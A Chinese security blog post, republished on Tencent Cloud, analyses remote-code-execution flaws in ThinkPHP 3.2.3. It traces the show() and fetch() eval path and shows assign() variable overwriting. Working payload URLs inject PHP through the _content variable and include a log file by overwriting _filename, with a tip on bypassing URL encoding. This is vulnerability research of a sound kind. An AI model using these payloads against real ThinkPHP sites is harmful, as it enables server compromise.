前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >thinkphp 3.x rce分析

thinkphp 3.x rce分析

作者头像
红队蓝军
发布2022-05-17 17:56:23
5910
发布2022-05-17 17:56:23
举报
文章被收录于专栏:红队蓝军

2.1 show命令执行 入口:

代码语言:javascript
复制
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($n=''){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 show函数命令执行</h2><p>注入点:'.$n.'</p>','utf-8');
}
}

下断点:

通过观察$content的值的变化来确定漏洞点,因为要返回到页面上

通过调试找到漏洞点,并缩小范围,可以发现漏洞点在fetch中

跟进fetch

代码语言:javascript
复制
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}

当开启PHP原生模板时: 会命令执行模块中的内容

当没使用PHP原生模板时:

会进入exec方法中:

进入run方法

进入Load方法:

这个$_filename其实就是缓存文件,缓存文件的内用就是页面的php代码,从而进行了文件包含

2.2 assign变量覆盖导致rce 1.当assign函数有两个参数可控时:

代码语言:javascript
复制
public function index(){
$a=$_GET[name];
$b=$_GET[from];
$this->assign($a,$b);
$this->display('index');
}

payload:

http://127.0.0.1/?name=_content&from=%3C?php%20phpinfo()?%3E

在这里产生了变量覆盖

覆盖了$_content,造成rce

2.当第一个变量可控时 可以进行日志包含: 注意:在这里如果直接在浏览器中输入内容的话会被转义

如果使用burp改包的话就可以绕过rul编码

日志文件的相对路径:

./Application/Runtime/Logs/Home/22_01_14.log

payload:

http://127.0.0.1/?name[_filename]=./Application/Runtime/Logs/Home/22_01_14.log

代码语言:javascript
复制
public function index(){
$this->assign($_GET['name']);
$this->display('index');
}

index

display

display

fetch

listen

最后在这里造成了变量覆盖,最后导致命文件包含。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2022-02-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档